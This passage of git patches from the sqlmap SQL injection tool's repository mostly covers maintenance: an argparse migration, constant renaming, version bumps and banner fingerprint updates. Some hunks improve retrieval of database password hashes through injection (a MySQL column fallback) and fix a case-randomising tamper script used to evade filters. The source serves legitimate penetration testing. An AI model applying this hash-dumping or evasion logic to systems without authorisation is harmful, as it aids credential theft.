action="store_true", + help=SUPPRESS) - parser.add_option("--disable-stats", dest="disableStats", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--disable-stats", dest="disableStats", action="store_true", + help=SUPPRESS) - parser.add_option("--profile", dest="profile", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--profile", dest="profile", action="store_true", + help=SUPPRESS) - parser.add_option("--force-dbms", dest="forceDbms", - help=SUPPRESS_HELP) + parser.add_argument("--force-dbms", dest="forceDbms", + help=SUPPRESS) - parser.add_option("--force-dns", dest="forceDns", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--force-dns", dest="forceDns", action="store_true", + help=SUPPRESS) - parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", + help=SUPPRESS) - parser.add_option("--smoke-test", dest="smokeTest", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", + help=SUPPRESS) - parser.add_option("--live-test", dest="liveTest", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--live-test", dest="liveTest", action="store_true", + help=SUPPRESS) - parser.add_option("--vuln-test", dest="vulnTest", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", + help=SUPPRESS) - parser.add_option("--stop-fail", dest="stopFail", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--stop-fail", dest="stopFail", action="store_true", + help=SUPPRESS) - parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP) + parser.add_argument("--run-case", dest="runCase", help=SUPPRESS) # API options - parser.add_option("--api", dest="api", action="store_true", - help=SUPPRESS_HELP) - - parser.add_option("--taskid", dest="taskid", help=SUPPRESS_HELP) - - parser.add_option("--database", dest="database", help=SUPPRESS_HELP) - - parser.add_option_group(target) - parser.add_option_group(request) - parser.add_option_group(optimization) - parser.add_option_group(injection) - parser.add_option_group(detection) - parser.add_option_group(techniques) - parser.add_option_group(fingerprint) - parser.add_option_group(enumeration) - parser.add_option_group(brute) - parser.add_option_group(udf) - parser.add_option_group(filesystem) - parser.add_option_group(takeover) - parser.add_option_group(windows) - parser.add_option_group(general) - parser.add_option_group(miscellaneous) + parser.add_argument("--api", dest="api", action="store_true", + help=SUPPRESS) - # Dirty hack to display longer options without breaking into two lines - def _(self, *args): - retVal = parser.formatter._format_option_strings(*args) - if len(retVal) > MAX_HELP_OPTION_LENGTH: - retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal - return retVal + parser.add_argument("--taskid", dest="taskid", help=SUPPRESS) + + parser.add_argument("--database", dest="database", help=SUPPRESS) - parser.formatter._format_option_strings = parser.formatter.format_option_strings - parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) + # Dirty hack to display longer options without breaking into two lines + if hasattr(parser, "formatter"): + def _(self, *args): + retVal = parser.formatter._format_option_strings(*args) + if len(retVal) > MAX_HELP_OPTION_LENGTH: + retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal + return retVal + + parser.formatter._format_option_strings = parser.formatter.format_option_strings + parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) + else: + def _format_action_invocation(self, action): + retVal = self.__format_action_invocation(action) + if len(retVal) > MAX_HELP_OPTION_LENGTH: + retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal + return retVal + + parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation + parser.formatter_class._format_action_invocation = _format_action_invocation # Dirty hack for making a short option '-hh' - option = parser.get_option("--hh") - option._short_opts = ["-hh"] - option._long_opts = [] + if hasattr(parser, "get_option"): + option = parser.get_option("--hh") + option._short_opts = ["-hh"] + option._long_opts = [] + else: + for action in get_actions(parser): + if action.option_strings == ["--hh"]: + action.option_strings = ["-hh"] + break - # Dirty hack for inherent help message of switch '-h' - option = parser.get_option("-h") - option.help = option.help.capitalize().replace("this help", "basic help") + ## Dirty hack for inherent help message of switch '-h' + if hasattr(parser, "get_option"): + option = parser.get_option("-h") + option.help = option.help.capitalize().replace("this help", "basic help") + else: + for action in get_actions(parser): + if action.option_strings == ["-h", "--help"]: + action.help = action.help.capitalize().replace("this help", "basic help") + break _ = [] prompt = False @@ -800,12 +833,12 @@ def _(self, *args): _ = ["x", "q", "exit", "quit", "clear"] - for option in parser.option_list: + for option in get_actions(parser): _.extend(option._long_opts) _.extend(option._short_opts) - for group in parser.option_groups: - for option in group.option_list: + for group in get_groups(parser): + for option in get_actions(group): _.extend(option._long_opts) _.extend(option._short_opts) @@ -882,15 +915,15 @@ def _(self, *args): raise SystemExit elif argv[i] in ("-h", "--help"): advancedHelp = False - for group in parser.option_groups[:]: + for group in get_groups(parser)[:]: found = False - for option in group.option_list: + for option in get_actions(group): if option.dest not in BASIC_HELP_ITEMS: - option.help = SUPPRESS_HELP + option.help = SUPPRESS else: found = True if not found: - parser.option_groups.remove(group) + get_groups(parser).remove(group) for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): try: @@ -901,7 +934,7 @@ def _(self, *args): pass try: - (args, _) = parser.parse_args(argv) + (args, _) = parser.parse_known_args(argv) if hasattr(parser, "parse_known_args") else parser.parse_args(argv) except UnicodeEncodeError as ex: dataToStdout("\n[!] %s\n" % getUnicode(ex.object.encode("unicode-escape"))) raise SystemExit @@ -931,7 +964,7 @@ def _(self, *args): return args - except (OptionError, TypeError) as ex: + except (ArgumentError, TypeError) as ex: parser.error(ex) except SystemExit: From 468eed8532a87d1e925c688b60c132c6b0a4f2d6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 13 Jun 2019 10:58:21 +0200 Subject: [PATCH 475/800] Fixes #3753 --- lib/core/settings.py | 8 ++++---- lib/request/connect.py | 23 +++++++++++++---------- lib/request/redirecthandler.py | 4 ++-- 3 files changed, 19 insertions(+), 16 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index dba74647da6..78cb4d00fb9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.38" +VERSION = "1.3.6.39" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -678,8 +678,8 @@ # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 -# Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections) -MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 +# Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections) +MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 @@ -690,7 +690,7 @@ # Maximum (multi-threaded) length of entry in bisection algorithm MAX_BISECTION_LENGTH = 50 * 1024 * 1024 -# Mark used for trimming unnecessary content in large chunks +# Mark used for trimming unnecessary content in large connection reads LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__" # Generic SQL comment formation diff --git a/lib/request/connect.py b/lib/request/connect.py index 481599c3495..289c931d85c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -97,7 +97,7 @@ class WebSocketException(Exception): from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IS_WIN from lib.core.settings import LARGE_CHUNK_TRIM_MARKER -from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE +from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS @@ -211,15 +211,18 @@ def _connReadProxy(conn): if not conn: break else: - _ = conn.read(MAX_CONNECTION_CHUNK_SIZE) + try: + part = conn.read(MAX_CONNECTION_READ_SIZE) + except AssertionError: + part = "" - if len(_) == MAX_CONNECTION_CHUNK_SIZE: + if len(part) == MAX_CONNECTION_READ_SIZE: warnMsg = "large response detected. This could take a while" singleTimeWarnMessage(warnMsg) - _ = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_CHUNK_TRIM_MARKER, kb.chars.start), _) - retVal += _ + part = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_CHUNK_TRIM_MARKER, kb.chars.start), part) + retVal += part else: - retVal += _ + retVal += part break if len(retVal) > MAX_CONNECTION_TOTAL_SIZE: @@ -631,14 +634,14 @@ class _(dict): if responseHeaders: logHeaders = getUnicode("".join(responseHeaders.headers).strip()) - logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) + logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: - responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) @@ -815,12 +818,12 @@ class _(dict): if responseHeaders: logHeaders = getUnicode("".join(responseHeaders.headers).strip()) - logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) + logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: - responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index c85771d6486..9eae57afc06 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -23,7 +23,7 @@ from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapConnectionException from lib.core.settings import DEFAULT_COOKIE_DELIMITER -from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE +from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS from lib.core.settings import MAX_TOTAL_REDIRECTIONS @@ -101,7 +101,7 @@ def http_error_302(self, req, fp, code, msg, headers): redirectMsg += logHeaders if content: - redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE]) + redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_READ_SIZE]) logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time()) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) From 0db8b8e268d8ef29146907e6469e442ff51bf5dd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 13 Jun 2019 10:59:56 +0200 Subject: [PATCH 476/800] Minor renaming --- lib/core/settings.py | 4 ++-- lib/request/connect.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 78cb4d00fb9..fd325f08e5d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.39" +VERSION = "1.3.6.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -691,7 +691,7 @@ MAX_BISECTION_LENGTH = 50 * 1024 * 1024 # Mark used for trimming unnecessary content in large connection reads -LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__" +LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__" # Generic SQL comment formation GENERIC_SQL_COMMENT = "-- [RANDSTR]" diff --git a/lib/request/connect.py b/lib/request/connect.py index 289c931d85c..fec444c5fbf 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -96,7 +96,7 @@ class WebSocketException(Exception): from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IS_WIN -from lib.core.settings import LARGE_CHUNK_TRIM_MARKER +from lib.core.settings import LARGE_READ_TRIM_MARKER from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE @@ -219,7 +219,7 @@ def _connReadProxy(conn): if len(part) == MAX_CONNECTION_READ_SIZE: warnMsg = "large response detected. This could take a while" singleTimeWarnMessage(warnMsg) - part = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_CHUNK_TRIM_MARKER, kb.chars.start), part) + part = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start), part) retVal += part else: retVal += part From 8eaac41e01f880c3366fd2c9a47dfadeb9462aaf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 13 Jun 2019 11:05:45 +0200 Subject: [PATCH 477/800] Fixes #3752 --- lib/core/settings.py | 2 +- sqlmap.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index fd325f08e5d..595af68fff1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.40" +VERSION = "1.3.6.41" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index eb59882fd9b..c58c898de84 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -243,7 +243,7 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", "on line 1, but no encoding declared")): + elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")): errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit From 27e2409e17ae3a1c21801d543438fc75e478e5e3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 14 Jun 2019 12:20:38 +0200 Subject: [PATCH 478/800] Fixes #3755 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 6501d32c722..065c8c7fea6 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1159,7 +1159,7 @@ def _setSafeVisit(): else: conf.safeUrl = "http://" + conf.safeUrl - if conf.safeFreq <= 0: + if (conf.safeFreq or 0) <= 0: errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 595af68fff1..dcdd13c34ee 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.41" +VERSION = "1.3.6.42" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 3b3f4926e4a53d195894d0fd5dd71660e0118fbd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 16 Jun 2019 16:21:18 +0200 Subject: [PATCH 479/800] Patch for #3756 and #3761 --- lib/core/settings.py | 2 +- sqlmap.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index dcdd13c34ee..1cb6249a5fc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.42" +VERSION = "1.3.6.43" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index c58c898de84..634f89a5146 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -243,7 +243,7 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")): + elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or any(_ in excMsg for _ in ("source code string cannot contain null bytes", "No module named")): errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit From 8220b6264c16a41d05525ee353c0589013014df3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 16 Jun 2019 17:23:46 +0200 Subject: [PATCH 480/800] Fixes #3759 --- data/xml/queries.xml | 6 ++++-- lib/core/settings.py | 2 +- plugins/generic/users.py | 19 +++++++++++++++---- 3 files changed, 20 insertions(+), 7 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index db50087b32d..7a8592438c4 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -32,9 +32,11 @@ + + - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 1cb6249a5fc..88f3320a94b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.43" +VERSION = "1.3.6.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 79bf750f0d6..a20707d214a 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -15,6 +15,7 @@ from lib.core.common import isAdminFromPrivileges from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue +from lib.core.common import isNullValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parsePasswordHash @@ -203,8 +204,10 @@ def getPasswordHashes(self): else: values = inject.getValue(query, blind=False, time=False) - if isNoneValue(values) and Backend.isDbms(DBMS.MSSQL): + if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) + elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)): + values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": @@ -270,9 +273,13 @@ def getPasswordHashes(self): count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - if not isNumPosStrValue(count) and Backend.isDbms(DBMS.MSSQL): - fallback = True - count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if not isNumPosStrValue(count): + if Backend.isDbms(DBMS.MSSQL): + fallback = True + count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + elif Backend.isDbms(DBMS.MYSQL): + fallback = True + count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " @@ -307,6 +314,10 @@ def getPasswordHashes(self): else: query = rootQuery.blind.query % (user, index) + if Backend.isDbms(DBMS.MYSQL): + if fallback: + query = query.replace("authentication_string", "password") + password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) From 797bc7b75f8df12ab9e78d84ba45fda35b6b29c7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Jun 2019 14:59:48 +0200 Subject: [PATCH 481/800] Fixes #3762 --- lib/core/settings.py | 2 +- tamper/randomcase.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 88f3320a94b..92a92a44915 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.44" +VERSION = "1.3.6.45" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/randomcase.py b/tamper/randomcase.py index b25078493c8..ca93286a901 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -41,6 +41,8 @@ def tamper(payload, **kwargs): 'f()' >>> tamper('function()') 'FuNcTiOn()' + >>> tamper('SELECT id FROM `user`') + 'SeLeCt id FrOm `user`' """ retVal = payload @@ -49,7 +51,7 @@ def tamper(payload, **kwargs): for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal): word = match.group() - if word.upper() in kb.keywords or ("%s(" % word) in payload: + if (word.upper() in kb.keywords and re.search(r"(?i)[`\"\[]%s[`\"\]]" % word, retVal) is None) or ("%s(" % word) in payload: while True: _ = "" From 60f69a5ca0cc538100429ba86f8779e3fad253e2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Jun 2019 16:40:08 +0200 Subject: [PATCH 482/800] Fixes #3764 --- lib/core/settings.py | 2 +- lib/request/chunkedhandler.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 92a92a44915..c7c241e1d32 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.45" +VERSION = "1.3.6.46" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 96c5e8c23c7..9c226a9cb46 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -14,12 +14,12 @@ class ChunkedHandler(_urllib.request.HTTPHandler): """ def _http_request(self, request): - host = request.get_host() + host = request.get_host() if hasattr(request, "get_host") else request.host if not host: raise _urllib.error.URLError("no host given") - if request.has_data(): # POST - data = request.get_data() + if request.data is not None: # POST + data = request.data if not request.has_header("Content-type"): request.add_unredirected_header( "Content-type", From 89af62ab95eb13a09bbade50b7c995dc93246c84 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 18 Jun 2019 00:45:28 +0200 Subject: [PATCH 483/800] Minor update --- data/xml/banner/set-cookie.xml | 14 +++++++++++++- lib/core/settings.py | 2 +- 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/data/xml/banner/set-cookie.xml b/data/xml/banner/set-cookie.xml index fc454fcaaa0..a9d8143d8b2 100644 --- a/data/xml/banner/set-cookie.xml +++ b/data/xml/banner/set-cookie.xml @@ -27,7 +27,7 @@ - + @@ -50,4 +50,16 @@ + + + + + + + + + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index c7c241e1d32..c2d3c8089a6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.46" +VERSION = "1.3.6.47" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9d055c723b0b939018544939548c29ac72f700a7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 18 Jun 2019 00:59:20 +0200 Subject: [PATCH 484/800] Minor update --- data/xml/banner/servlet-engine.xml | 8 ++++++++ data/xml/banner/x-powered-by.xml | 8 ++++++-- lib/core/settings.py | 2 +- 3 files changed, 15 insertions(+), 3 deletions(-) diff --git a/data/xml/banner/servlet-engine.xml b/data/xml/banner/servlet-engine.xml index 403f143592c..c34d9617e1b 100644 --- a/data/xml/banner/servlet-engine.xml +++ b/data/xml/banner/servlet-engine.xml @@ -7,6 +7,14 @@ + + + + + + + + diff --git a/data/xml/banner/x-powered-by.xml b/data/xml/banner/x-powered-by.xml index 64741769c85..f4a058fe886 100644 --- a/data/xml/banner/x-powered-by.xml +++ b/data/xml/banner/x-powered-by.xml @@ -35,8 +35,12 @@ - - + + + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index c2d3c8089a6..7ce51ffef4e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.47" +VERSION = "1.3.6.48" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e565fa1fad0fb1bad0c3556c497f429a34b855ad Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 18 Jun 2019 23:16:53 +0200 Subject: [PATCH 485/800] Dirty fix for #3766 --- lib/core/settings.py | 2 +- lib/utils/hash.py | 1 + thirdparty/ansistrm/ansistrm.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7ce51ffef4e..71caafc0478 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.48" +VERSION = "1.3.6.49" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index d392e919f12..3991ddaaa04 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -78,6 +78,7 @@ from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapUserQuitException +from lib.core.patch import resolveCrossReferences from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DEV_EMAIL_ADDRESS diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index 739169dde09..67efbf17845 100644 --- 